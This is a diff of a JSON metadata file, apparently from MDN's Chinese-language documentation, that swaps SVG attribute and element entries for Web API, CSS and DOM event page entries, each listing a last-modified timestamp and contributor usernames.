"Web/SVG/Attribute/dominant-baseline": { - "modified": "2019-03-23T22:09:53.226Z", + "Web/API/WindowEventHandlers/onpopstate": { + "modified": "2020-10-15T21:07:15.381Z", "contributors": [ - "xinjianheyi" + "SUCHMOKUO", + "wuyou", + "ReedSun", + "wenshin", + "xiaomingming", + "vose2008", + "teoli", + "Hasilt", + "ziyunfei" ] }, - "Web/SVG/Attribute/dur": { - "modified": "2019-03-23T22:46:40.065Z", + "Web/API/WindowEventHandlers/onunload": { + "modified": "2020-10-23T06:31:44.836Z", "contributors": [ - "fanxiaojie" + "liguorain", + "lon", + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "Web/SVG/Attribute/dx": { - "modified": "2020-08-25T05:37:26.030Z", + "Web/API/WindowOrWorkerGlobalScope/setInterval": { + "modified": "2020-11-25T18:16:55.949Z", "contributors": [ - "danceash", - "jiahui" + "RayTang-hub", + "cellinlab", + "Jiangmenghao", + "TXYjing", + "Soul", + "fengbin", + "RainSlide", + "brandonhyc", + "xgqfrms-GitHub", + "shery", + "xgqfrms", + "teoli", + "khalid32", + "ziyunfei", + "sonicview" ] }, - "Web/SVG/Attribute/edgeMode": { - "modified": "2019-03-23T22:46:21.766Z", + "Web/API/WindowOrWorkerGlobalScope/setTimeout": { + "modified": "2020-10-15T21:19:52.746Z", "contributors": [ - "fanxiaojie" + "SnowGojira", + "iyow", + "johnao", + "chrisdavidmills", + "csga31971", + "baijingfeng", + "Reci-z", + "horrylala", + "Adashuai5", + "LilyWakana", + "Mars687", + "pinpinye", + "Lby876176278", + "Chancefeng", + "fscholz", + "xiazhe", + "Frorice", + "yhtml5", + "righttoe", + "Toxni", + "piemonSong", + "xgqfrms-GitHub", + "heke2929", + "SnowOnion", + "Chimen", + "hbkdsm", + "paddingme", + "teoli", + "khalid32", + "Meteormatt", + "ziyunfei" ] }, - "Web/SVG/Attribute/enable-background": { - "modified": "2020-10-15T22:34:25.447Z", + "Web/API/Window/blur": { + "modified": "2019-03-23T22:13:16.814Z", "contributors": [ - "SphinxKnight", - "SoMuchTo" + "Toxni" ] }, - "Web/SVG/Attribute/end": { - "modified": "2019-03-23T22:46:42.288Z", + "Web/API/WindowOrWorkerGlobalScope/atob": { + "modified": "2020-10-15T21:07:00.713Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "zhangchen", + "nkliyc", + "dingyanhe", + "xgqfrms-GitHub", + "ziyunfei", + "happyWang", + "teoli", + "khalid32" ] }, - "Web/SVG/Attribute/fill": { - "modified": "2019-03-23T22:46:42.182Z", + "Glossary/Base64": { + "modified": "2020-09-03T07:22:36.242Z", "contributors": [ - "fanxiaojie" + "WangXBruc", + "waitingsong", + "RainSlide", + "luojia", + "fghpdf", + "ahcheqiu" ] }, - "Web/SVG/Attribute/fill-opacity": { - "modified": "2019-03-23T22:46:42.402Z", + "Web/API/WindowOrWorkerGlobalScope/btoa": { + "modified": "2020-10-15T21:06:58.236Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "zhangchen", + "RoXoM", + "Carrotzpc", + "dingyanhe", + "xgqfrms-GitHub", + "ziyunfei", + "teoli", + "khalid32", + "cuixiping" ] }, - "Web/SVG/Attribute/fill-rule": { - "modified": "2020-10-15T21:39:20.776Z", + "Web/API/WindowOrWorkerGlobalScope/clearTimeout": { + "modified": "2020-06-09T04:49:33.480Z", "contributors": [ - "skywalker_z", - "kapokkopak", - "Ambar", - "ZhengYinBo", - "fanxiaojie" + "Humilitas", + "zhangchen", + "luojia", + "paddingme" ] }, - "Web/SVG/Attribute/filter": { - "modified": "2019-03-23T22:46:38.982Z", + "Web/API/Index": { + "modified": "2020-09-07T03:42:22.980Z", "contributors": [ - "fanxiaojie" + "SphinxKnight", + "hl7514576" ] }, - "Web/SVG/Attribute/filterUnits": { - "modified": "2019-03-23T22:14:03.688Z", + "Web/API/Payment_Request_API/Concepts": { + "modified": "2019-07-19T05:54:54.946Z", "contributors": [ - "liyongleihf2006" + "CapriceLi" ] }, - "Web/SVG/Attribute/font-family": { - "modified": "2019-03-23T23:04:59.299Z", + "Web/API/Payment_Request_API": { + "modified": "2020-10-15T22:21:11.974Z", "contributors": [ - "charlie" + "CapriceLi" ] }, - "Web/SVG/Attribute/fr": { - "modified": "2019-03-18T21:22:49.932Z", + "Web/API/SpeechRecognition": { + "modified": "2020-10-15T22:15:39.263Z", "contributors": [ - "realstephenzhao" + "burt1025lzz" ] }, - "Web/SVG/Attribute/fx": { - "modified": "2019-03-18T21:28:55.964Z", + "Web/API/SpeechRecognition/result_event": { + "modified": "2020-10-15T22:28:01.971Z", "contributors": [ - "realstephenzhao", - "longfeihouhouhou" + "coock1996" ] }, - "Web/SVG/Attribute/fy": { - "modified": "2019-03-18T21:22:47.918Z", + "Web/CSS/:blank": { + "modified": "2020-10-15T22:21:57.411Z", "contributors": [ - "realstephenzhao" + "RainSlide", + "karma2014" ] }, - "Web/SVG/Attribute/height": { - "modified": "2019-03-23T22:46:48.815Z", + "Web/CSS/Containing_block": { + "modified": "2020-10-09T00:31:23.855Z", "contributors": [ - "Ende93", - "fanxiaojie" + "Chellyyy", + "Young-Spark", + "laizenan", + "alattalatta", + "thxiami", + "studyMakesMeHappy", + "peppermintCode", + "tolerious", + "hehex9", + "littlelake", + "ucev" ] }, - "Web/SVG/Attribute/id": { - "modified": "2020-10-15T22:25:42.877Z", + "Learn/CSS/Howto/CSS_FAQ": { + "modified": "2020-07-16T22:25:46.153Z", "contributors": [ - "cuixiping" + "Robinx", + "Jack-Q", + "ChenDong", + "DavidGuan", + "zd9027", + "xuxun", + "teoli", + "ziyunfei", + "xcffl" ] }, - "Web/SVG/Attribute/image-rendering": { - "modified": "2019-03-23T23:10:41.035Z", + "Web/CSS/CSS_Background_and_Borders/Border-radius_generator": { + "modified": "2019-03-23T22:42:48.406Z", "contributors": [ - "ReyCG_sub" + "FrontENG", + "beyoursun", + "regiondavid" ] }, - "Web/SVG/Attribute/in": { - "modified": "2019-03-23T22:13:50.542Z", + "Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images": { + "modified": "2019-03-18T21:38:07.175Z", "contributors": [ - "liyongleihf2006" + "Aaron_Zhung" ] }, - "Web/SVG/Attribute/kernelMatrix": { - "modified": "2019-03-23T22:14:02.784Z", + "Web/CSS/CSS_Background_and_Borders/Box-shadow_generator": { + "modified": "2019-03-18T20:43:42.671Z", "contributors": [ - "liyongleihf2006" + "BychekRU", + "TiaossuP", + "charlie" ] }, - "Web/SVG/Attribute/keyTimes": { - "modified": "2019-03-18T21:30:15.598Z", + "Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": { + "modified": "2020-02-11T09:41:01.217Z", "contributors": [ - "ZhenhuaChen" + "knightyun", + "fanjianfeng1010", + "EndlessSong", + "minvedacat", + "Ran_Lyu", + "xieminjie" ] }, - "Web/SVG/Attribute/letter-spacing": { - "modified": "2020-10-15T22:23:39.628Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": { + "modified": "2019-03-23T22:33:55.727Z", "contributors": [ - "vvv-7911" + "chrisdavidmills", + "SmilyLiang", + "SolitudeRA", + "zhicongyang", + "xgqfrms", + "jiahui" ] }, - "Web/SVG/Attribute/marker-end": { - "modified": "2020-10-15T22:18:07.958Z", + "Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": { + "modified": "2020-06-21T23:26:55.230Z", "contributors": [ - "ciki6" + "cell", + "mileyho", + "xzhyj93", + "SkyeYoung", + "devindwan", + "xieminjie" ] }, - "Web/SVG/Attribute/marker-start": { - "modified": "2020-10-15T22:35:06.368Z", + "Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods": { + "modified": "2020-07-03T00:45:14.544Z", "contributors": [ - "ciki6" + "jin_wang", + "Wulakaka" ] }, - "Web/SVG/Attribute/mask": { - "modified": "2019-03-23T22:46:32.037Z", + "Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow": { + "modified": "2019-08-26T05:12:18.778Z", "contributors": [ - "wbamberg", - "ziyunfei", - "fanxiaojie" + "xuduotom", + "wython", + "kernellmd", + "feaswcy" ] }, - "Web/SVG/Attribute/max": { - "modified": "2020-10-15T22:26:09.162Z", + "Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes": { + "modified": "2019-03-18T21:44:18.420Z", "contributors": [ - "bompoo" + "comehope" ] }, - "Web/SVG/Attribute/media": { - "modified": "2020-10-15T22:28:22.473Z", + "Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout": { + "modified": "2019-09-04T22:46:41.081Z", "contributors": [ - "Firefox_mozilla" + "zhangchen", + "Juvon", + "SphinxKnight" ] }, - "Web/SVG/Attribute/opacity": { - "modified": "2019-03-23T22:46:17.591Z", + "Web/CSS/CSS_Logical_Properties/Basic_concepts": { + "modified": "2019-03-28T00:11:41.934Z", "contributors": [ - "fanxiaojie" + "Aamperor" ] }, - "Web/SVG/Attribute/order": { - "modified": "2019-03-23T22:14:09.913Z", + "Web/CSS/CSS_Logical_Properties/Floating_and_positioning": { + "modified": "2020-12-09T23:54:16.957Z", "contributors": [ - "liyongleihf2006" + "bernie-ning" ] }, - "Web/SVG/Attribute/origin": { - "modified": "2020-09-21T09:25:39.365Z", + "Web/XPath/Comparison_with_CSS_selectors": { + "modified": "2019-03-18T21:23:06.866Z", "contributors": [ - "SphinxKnight", - "a420980938" + "zhanghengxin" ] }, - "Web/SVG/Attribute/overflow": { - "modified": "2020-10-15T22:09:03.459Z", + "Web/CSS/CSS_Fragmentation": { + "modified": "2019-12-03T13:06:14.108Z", "contributors": [ - "SphinxKnight", - "888aaa" + "pans9" ] }, - "Web/SVG/Attribute/path": { - "modified": "2019-01-17T01:11:59.482Z", + "Web/CSS/CSSOM_View/Coordinate_systems": { + "modified": "2019-03-18T21:28:19.895Z", "contributors": [ - "dfEric" + "1Cr18Ni9" ] }, - "Web/SVG/Attribute/pathLength": { - "modified": "2019-03-18T21:24:01.815Z", + "Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property": { + "modified": "2019-03-23T23:32:59.999Z", "contributors": [ - "EXSVAMP" + "xgqfrms-GitHub", + "teoli", + "ziyunfei" ] }, - "Web/SVG/Attribute/patternUnits": { - "modified": "2019-03-18T21:15:24.501Z", + "Web/CSS/Layout_cookbook/Card": { + "modified": "2020-10-15T22:28:29.154Z", "contributors": [ - "Chesn" + "fanyuedong" ] }, - "Web/SVG/Attribute/pointer-events": { - "modified": "2020-10-15T22:18:55.261Z", + "Web/CSS/Layout_cookbook/Media_objects": { + "modified": "2020-10-15T22:18:51.901Z", "contributors": [ - "WebsonLeo" + "wre232114" ] }, - "Web/SVG/Attribute/points": { - "modified": "2019-03-23T22:46:24.044Z", + "Web/CSS/overflow-wrap": { + "modified": "2020-10-15T21:32:14.809Z", "contributors": [ - "fanxiaojie" + "litmonw", + "dlnb526", + "WangWenZhang", + "pengwenbin7", + "xgqfrms", + "SAWSAWSAW", + "fscholz", + "Sebastianz", + "paddingme" ] }, - "Web/SVG/Attribute/preserveAlpha": { - "modified": "2019-03-18T21:30:40.693Z", + "Web/CSS/offset": { + "modified": "2020-10-15T22:07:46.289Z", "contributors": [ - "hy512" + "congyuandong", + "yichengxian" ] }, - "Web/SVG/Attribute/preserveAspectRatio": { - "modified": "2019-03-23T22:02:41.003Z", + "Web/CSS/Media_Queries": { + "modified": "2020-10-15T21:56:18.732Z", "contributors": [ - "codepandy", - "ciki6", - "yuyx91", - "webtuotuo2017" + "RainSlide", + "zjffun", + "Charley-Hsu" ] }, - "Web/SVG/Attribute/primitiveUnits": { - "modified": "2019-03-23T22:14:03.826Z", + "Web/CSS/text-decoration-thickness": { + "modified": "2020-10-15T22:25:42.153Z", "contributors": [ - "liyongleihf2006" + "tanapok", + "Zshining" ] }, - "Web/SVG/Attribute/r": { - "modified": "2019-03-18T21:22:40.271Z", + "Web/CSS/grid-template-rows": { + "modified": "2020-10-15T21:53:37.639Z", "contributors": [ - "realstephenzhao" + "narol", + "RainSlide", + "tsukimiya", + "Xiao4", + "1986slayer" ] }, - "Web/SVG/Attribute/radius": { - "modified": "2019-03-23T22:46:18.311Z", + "Web/API/Window/afterprint_event": { + "modified": "2020-10-15T21:52:37.979Z", "contributors": [ - "fanxiaojie" + "weibangtuo", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/repeatCount": { - "modified": "2019-03-23T22:18:01.687Z", + "Web/API/Element/afterscriptexecute_event": { + "modified": "2020-10-15T21:52:39.291Z", "contributors": [ - "876843240", - "huainanhai" + "RainSlide", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/result": { - "modified": "2019-01-16T21:31:09.328Z", + "Web/API/HTMLElement/animationend_event": { + "modified": "2019-03-23T22:08:23.322Z", "contributors": [ - "fanxiaojie" + "PaperFlu" ] }, - "Web/SVG/Attribute/rx": { - "modified": "2019-03-18T21:00:24.171Z", + "Web/API/HTMLElement/animationstart_event": { + "modified": "2019-03-23T23:17:59.744Z", "contributors": [ - "RainSlide", - "BowenSun" + "PaperFlu", + "fscholz", + "ziyunfei", + "shevche24" ] }, - "Web/SVG/Attribute/scale": { - "modified": "2019-03-23T22:46:29.331Z", + "Web/API/Window/beforeprint_event": { + "modified": "2020-10-15T21:52:38.969Z", "contributors": [ - "fanxiaojie" + "weibangtuo", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/seed": { - "modified": "2019-03-23T22:46:25.651Z", + "Web/API/Element/beforescriptexecute_event": { + "modified": "2020-10-15T21:29:36.732Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "fscholz", + "ziyunfei", + "LinusYu" ] }, - "Web/SVG/Attribute/shape-rendering": { - "modified": "2019-03-23T22:41:44.530Z", + "Web/API/Window/beforeunload_event": { + "modified": "2020-10-15T21:34:03.122Z", "contributors": [ - "maicss" + "pe4ch", + "Carllllo", + "MikeLeon23", + "Junezm", + "xgqfrms", + "wbamberg", + "HereChen", + "luhaimin", + "sqchenxiyuan", + "tcatche", + "maxsky", + "Tienyz", + "monjer" ] }, - "Web/SVG/Attribute/stdDeviation": { - "modified": "2019-03-18T21:23:00.621Z", + "Web/API/Element/blur_event": { + "modified": "2019-03-23T22:23:55.603Z", "contributors": [ - "realstephenzhao" + "hhxxhg", + "hyh19962008", + "fscholz", + "m2mbob" ] }, - "Web/SVG/Attribute/string": { - "modified": "2020-10-15T22:28:09.817Z", + "Web/API/HTMLElement/change_event": { + "modified": "2020-10-15T21:32:01.453Z", "contributors": [ - "Tjhxzd" + "ljdmailbox", + "Clarkkkk", + "LIXiangChen", + "fscholz", + "yangxiaoqiao", + "xgqfrms-GitHub", + "azhi09", + "ziyunfei", + "charlie" ] }, - "Web/SVG/Attribute/stroke": { - "modified": "2019-03-23T22:47:39.759Z", + "Web/API/Element/compositionend_event": { + "modified": "2019-04-30T13:56:51.967Z", "contributors": [ - "fanxiaojie", - "slientomorrr" + "wbamberg", + "TreeVie", + "leehomeok" ] }, - "Web/SVG/Attribute/stroke-dasharray": { - "modified": "2019-08-08T05:38:03.197Z", + "Web/API/Element/compositionstart_event": { + "modified": "2020-10-15T21:43:38.190Z", "contributors": [ - "fanxiaojie" + "Carllllo", + "wbamberg", + "superfighter", + "StaicCai", + "laobubu" ] }, - "Web/SVG/Attribute/stroke-dashoffset": { - "modified": "2019-10-10T16:56:45.450Z", + "Web/API/Element/compositionupdate_event": { + "modified": "2019-04-30T14:03:15.654Z", "contributors": [ - "ZhengYinBo", - "yanagao" + "wbamberg", + "fscholz", + "laobubu" ] }, - "Web/SVG/Attribute/stroke-linecap": { - "modified": "2019-03-23T22:21:59.850Z", + "Web/API/Element/copy_event": { + "modified": "2019-04-30T13:59:22.378Z", "contributors": [ - "ZhengYinBo" + "wbamberg", + "zhangchen", + "fscholz", + "inottn", + "maicss" ] }, - "Web/SVG/Attribute/stroke-linejoin": { - "modified": "2020-10-15T21:52:22.702Z", + "Web/API/Element/cut_event": { + "modified": "2019-04-30T14:14:11.414Z", "contributors": [ - "cuixiping", - "IridescentMia" + "wbamberg", + "chenyanfei-m" ] }, - "Web/SVG/Attribute/stroke-miterlimit": { - "modified": "2019-03-23T22:46:40.182Z", + "Web/API/Window/DOMContentLoaded_event": { + "modified": "2020-10-15T21:21:31.073Z", "contributors": [ - "fanxiaojie" + "windybniw", + "shaw1121", + "knightyun", + "1v9", + "wbamberg", + "hhxxhg", + "274659281", + "fscholz", + "Niefee", + "xgqfrms-GitHub", + "BoatGina", + "broven", + "bambooom", + "ZivHe", + "ziyunfei", + "less", + "monjer", + "jtyjty99999" ] }, - "Web/SVG/Attribute/stroke-opacity": { - "modified": "2019-03-23T22:46:37.761Z", + "Web/API/Element/error_event": { + "modified": "2020-10-15T21:34:06.283Z", "contributors": [ - "fanxiaojie" + "pe4ch", + "liuruiqi1993", + "fscholz", + "Daqin", + "monjer" ] }, - "Web/SVG/Attribute/stroke-width": { - "modified": "2019-03-23T22:46:41.922Z", + "Web/API/Element/focus_event": { + "modified": "2019-03-31T11:52:42.546Z", "contributors": [ - "fanxiaojie" + "fscholz", + "VictorDu" ] }, - "Web/SVG/Attribute/style": { - "modified": "2019-10-09T03:46:30.272Z", + "Web/API/Element/focusout_event": { + "modified": "2019-03-23T22:15:46.626Z", "contributors": [ - "xianshenglu", - "xgqfrms-GitHub", - "monjer" + "fscholz", + "liuhe" ] }, - "Web/SVG/Attribute/target": { - "modified": "2020-10-15T22:27:15.767Z", + "Web/API/RTCPeerConnection/icecandidate_event": { + "modified": "2020-02-07T11:21:30.934Z", "contributors": [ - "fzhyzamt", - "boli14" + "zotille", + "wbamberg", + "BillgoXu" ] }, - "Web/SVG/Attribute/text-decoration": { - "modified": "2020-09-26T20:27:21.690Z", + "Web/API/HTMLElement/input_event": { + "modified": "2020-10-15T21:30:28.054Z", "contributors": [ - "xuhaooo", - "qingpingy" + "Carllllo", + "Freezer", + "chess99", + "shijistar", + "fscholz", + "xgqfrms-GitHub", + "laobubu", + "ziyunfei", + "lyklykkkkkkk" ] }, - "Web/SVG/Attribute/transform": { - "modified": "2019-10-17T10:24:00.177Z", + "Web/API/Window/load_event": { + "modified": "2020-10-15T21:36:32.271Z", "contributors": [ - "qq240814476" + "pe4ch", + "Mookiepiece", + "fscholz", + "xgqfrms-GitHub", + "kun.yan" ] }, - "Web/SVG/Attribute/type": { - "modified": "2019-09-27T11:12:53.094Z", + "Web/API/XMLHttpRequest/loadend_event": { + "modified": "2019-03-23T22:16:58.948Z", "contributors": [ - "Huang2019023239" + "fscholz", + "wudexiang", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/units-per-em": { - "modified": "2020-10-15T22:25:05.021Z", + "Web/API/XMLHttpRequest/loadstart_event": { + "modified": "2019-03-23T22:29:32.098Z", "contributors": [ - "pandahara" + "fscholz", + "faremax", + "Lxxyx" ] }, - "Web/SVG/Attribute/values": { - "modified": "2020-08-19T04:16:48.441Z", + "Web/API/BroadcastChannel/message_event": { + "modified": "2020-10-15T21:57:50.780Z", "contributors": [ - "keyline-1" + "Spikef", + "wbamberg", + "Lim", + "CrystalY", + "Yongest", + "hellowrenfei" ] }, - "Web/SVG/Attribute/vector-effect": { - "modified": "2020-10-15T22:25:39.831Z", + "Web/API/Element/mousewheel_event": { + "modified": "2019-03-18T21:09:07.563Z", "contributors": [ - "cuixiping" + "fscholz", + "soYawn" ] }, - "Web/SVG/Attribute/version": { - "modified": "2019-08-03T10:57:47.255Z", + "Web/API/Window/pageshow_event": { + "modified": "2020-05-15T03:40:03.122Z", "contributors": [ - "monkeycf", - "LiKunWillShine" + "BluesVN", + "lalaemls", + "WangShaoyu1", + "fscholz", + "shm" ] }, - "Web/SVG/Attribute/viewBox": { - "modified": "2019-08-01T23:50:11.252Z", + "Web/API/Element/paste_event": { + "modified": "2020-10-15T21:52:19.374Z", "contributors": [ - "lovefengruoqing", - "act262" + "qiudongwei", + "wbamberg", + "maicss" ] }, - "Web/SVG/Attribute/visibility": { - "modified": "2019-03-23T22:46:34.860Z", + "Web/API/Document/readystatechange_event": { + "modified": "2020-10-15T21:56:00.168Z", "contributors": [ - "fanxiaojie" + "Carllllo", + "RainSlide", + "zhangchen", + "fscholz", + "abc45628" ] }, - "Web/SVG/Attribute/width": { - "modified": "2019-03-23T22:46:51.950Z", + "Web/API/HTMLElement/transitionend_event": { + "modified": "2019-11-15T05:44:51.899Z", "contributors": [ - "Ende93", - "fanxiaojie" + "joshchiucn", + "fscholz", + "zhuangyin", + "SeriousL", + "dlengks", + "ziyunfei", + "jtyjty99999" ] }, - "Web/SVG/Attribute/x": { - "modified": "2019-03-23T22:46:48.086Z", + "Web/API/Window/unhandledrejection_event": { + "modified": "2020-10-15T22:03:35.162Z", "contributors": [ - "fanxiaojie" + "xuquentinyang", + "liangbus", + "RainSlide", + "wbamberg", + "Lie8466", + "zhaoqize" ] }, - "Web/SVG/Attribute/y": { - "modified": "2019-03-23T22:46:47.078Z", + "Web/API/Window/unload_event": { + "modified": "2020-10-15T21:21:37.553Z", "contributors": [ - "jiereal", - "fanxiaojie" + "pe4ch", + "acelibin", + "fscholz", + "xgqfrms-GitHub", + "ziyunfei", + "jtyjty99999" ] }, - "Web/SVG/Attribute/文本锚点": { - "modified": "2019-03-23T22:22:02.773Z", + "Web/API/XMLHttpRequest/progress_event": { + "modified": "2020-10-15T21:49:44.294Z", "contributors": [ - "AozakiOrenji", - "yashuer" + "Ende93", + "957398123", + "fscholz", + "roberthow", + "fengfu" ] }, - "Web/SVG/Attribute/样式": { - "modified": "2020-10-15T22:10:48.584Z", + "Web/API/Web_Workers_API/Structured_clone_algorithm": { + "modified": "2019-03-23T22:19:28.512Z", "contributors": [ - "liu3329" + "zhangchen", + "xgqfrms-GitHub", + "kameii", + "liuqipeng417", + "FredWe" ] }, - "Web/SVG/Content_type": { - "modified": "2019-03-23T22:46:41.769Z", + "Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation": { + "modified": "2019-03-23T23:22:24.362Z", "contributors": [ - "fanxiaojie" + "freshSep", + "Wenbin" ] }, - "Web/SVG/Element": { - "modified": "2020-03-13T06:26:33.332Z", + "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": { + "modified": "2019-03-23T23:28:24.261Z", "contributors": [ - "Dorence", - "RainSlide", - "fanxiaojie", - "lunix01", - "cungen", - "teoli", - "ethertank" + "Ende93", + "Jiang-Xuan", + "Jiasm", + "Nightingale" ] }, - "Web/SVG/Element/a": { - "modified": "2019-06-15T03:14:27.907Z", + "Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS": { + "modified": "2019-03-23T23:22:22.347Z", "contributors": [ - "lnh", - "sqchenxiyuan", - "Sebastianz", - "fanxiaojie", - "teoli", - "techird" + "RainSlide", + "ReyCG_sub", + "bingguo", + "Wenbin" ] }, - "Web/SVG/Element/altGlyph": { - "modified": "2019-06-15T03:14:19.322Z", + "orphaned/Web/Guide/CSS/CSS基础": { + "modified": "2019-03-18T20:41:49.035Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "fscholz", + "Go7hic", + "Mrzzchao" ] }, - "Web/SVG/Element/altGlyphDef": { - "modified": "2019-03-23T22:46:38.701Z", + "Learn/CSS/Howto/Generated_content": { + "modified": "2020-07-16T22:25:48.610Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Kilimanjaro", + "Robinx", + "Harvesty", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "Web/SVG/Element/altGlyphItem": { - "modified": "2019-03-23T22:46:33.665Z", + "Web/Progressive_web_apps/Responsive/Media_types": { + "modified": "2019-03-23T23:12:04.497Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Robinx", + "Harvesty", + "jasonzhyan", + "ziyunfei", + "yeol", + "teoli", + "Chajn" ] }, - "Web/SVG/Element/animate": { - "modified": "2020-05-04T23:05:51.292Z", + "Web/SVG/Tutorial/SVG_and_CSS": { + "modified": "2019-03-23T23:20:53.389Z", "contributors": [ - "knightyun", - "oujielong", - "Ende93", - "luojia", - "Sebastianz", - "fanxiaojie", - "329530588", - "lunix01" + "ziyunfei", + "teoli", + "aztack" ] }, - "Web/SVG/Element/animateColor": { - "modified": "2019-03-23T22:46:35.027Z", + "Web/CSS/Media_Queries/Using_media_queries": { + "modified": "2020-05-17T23:15:16.911Z", "contributors": [ + "wallena3", + "Swordword", + "RainSlide", + "wuguichiroumeiyou", + "LemonTency", + "AielloChan", + "lllvantis", + "chaiyu2002", + "ziyunfei", "xgqfrms-GitHub", + "Junetea", + "jggnice", + "fidejade", + "liyongleihf2006", + "AozakiOrenji", + "lokyoung", "Sebastianz", - "fanxiaojie" + "mrstork", + "malayaleecoder", + "pantao", + "Ende93", + "Wenbin", + "anjianshi", + "ZhaoMing", + "Nightingale" ] }, - "Web/SVG/Element/animateMotion": { - "modified": "2020-10-15T21:39:29.124Z", + "Web/CSS/Media_Queries/Testing_media_queries": { + "modified": "2020-10-15T21:25:42.378Z", "contributors": [ - "knightyun", - "wbamberg", - "Sebastianz", - "fanxiaojie" + "RainSlide", + "Chajn", + "reygreen1", + "Wenbin" ] }, - "Web/SVG/Element/animateTransform": { - "modified": "2019-03-23T22:46:37.058Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index": { + "modified": "2019-03-23T23:21:48.784Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "ziyunfei", + "teoli", + "ArthasTree" ] }, - "Web/SVG/Element/circle": { - "modified": "2019-03-23T21:45:42.756Z", + "Web/CSS/CSS_Positioning/Understanding_z_index": { + "modified": "2019-03-23T23:33:08.995Z", "contributors": [ - "wbamberg", - "xgqfrms-GitHub", - "Sebastianz", - "loofahsf", - "fanxiaojie", + "zhangchen", + "ZQH", + "Go7hic", "ziyunfei", - "cungen" + "teoli", + "ArthasTree" ] }, - "Web/SVG/Element/clipPath": { - "modified": "2020-10-15T21:32:57.569Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float": { + "modified": "2019-03-23T23:29:39.696Z", "contributors": [ - "jhchen6", - "RainSlide", - "Sebastianz", - "fanxiaojie", - "huyue" + "lixuguang", + "Marcia_gm", + "ziyunfei", + "teoli", + "sunnylost" ] }, - "Web/SVG/Element/color-profile": { - "modified": "2019-03-23T22:46:33.322Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1": { + "modified": "2020-04-09T03:35:06.982Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "liuyibo", + "VickyJin" ] }, - "Web/SVG/Element/cursor": { - "modified": "2020-10-15T21:39:22.908Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2": { + "modified": "2019-03-23T22:25:59.868Z", "contributors": [ - "knightyun", - "Sebastianz", - "fanxiaojie" + "Skyrelu" ] }, - "Web/SVG/Element/defs": { - "modified": "2019-03-23T23:05:33.636Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3": { + "modified": "2020-01-19T10:58:58.576Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie", - "baiya" + "zenHeart", + "Skyrelu" ] }, - "Web/SVG/Element/desc": { - "modified": "2019-03-23T22:46:43.461Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index": { + "modified": "2019-08-23T06:42:17.114Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "allan_simon", + "ziyunfei", + "teoli", + "sunnylost", + "endlesswind" ] }, - "Web/SVG/Element/ellipse": { - "modified": "2019-03-23T22:54:08.203Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": { + "modified": "2020-01-02T04:20:32.161Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "FredWe" + "Sl0v3C", + "realstephenzhao", + "hayahayao", + "SakuraSnow", + "zjffun", + "gzponline", + "kevinfszu", + "Ende93", + "huangcheng", + "yisibl", + "ziyunfei", + "Dolphin_Wood", + "davin107", + "fake", + "teoli", + "ethertank", + "tzyeah" ] }, - "Web/SVG/Element/feBlend": { - "modified": "2019-03-23T22:46:45.814Z", + "Web/CSS/CSS_Images/Using_CSS_gradients": { + "modified": "2020-08-08T22:22:01.317Z", "contributors": [ - "liyongleihf2006", + "funicular", + "pe4ch", + "sanxun515", + "Aamperor", + "zhangnan666", + "zjffun", + "weedwong", + "Gaven-Xu", + "yatace", "Sebastianz", - "fanxiaojie" + "hkfn123", + "lttxzmj", + "RogerShen", + "anjianshi" ] }, - "Web/SVG/Element/feColorMatrix": { - "modified": "2019-03-23T23:25:05.534Z", + "Web/CSS/CSS_Columns/Using_multi-column_layouts": { + "modified": "2019-03-23T23:28:24.667Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "teoli", - "daniel.tian" + "Bayes", + "xgqfrms-GitHub", + "fscholz", + "Nightingale" ] }, - "Web/SVG/Element/feComponentTransfer": { - "modified": "2019-03-23T22:46:30.620Z", + "Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors": { + "modified": "2019-03-23T22:52:16.056Z", "contributors": [ - "liyongleihf2006", - "Sebastianz", - "fanxiaojie" + "Ende93", + "huangcheng", + "FredWe" ] }, - "Web/SVG/Element/feComposite": { - "modified": "2019-03-23T22:46:29.887Z", + "Web/CSS/Visual_formatting_model": { + "modified": "2019-03-18T21:10:31.376Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "guangzai", + "ssttii", + "qw8880000", + "Terry.Qiao", + "ziyunfei", + "zhanglun", + "teoli", + "sunnylost", + "yan" ] 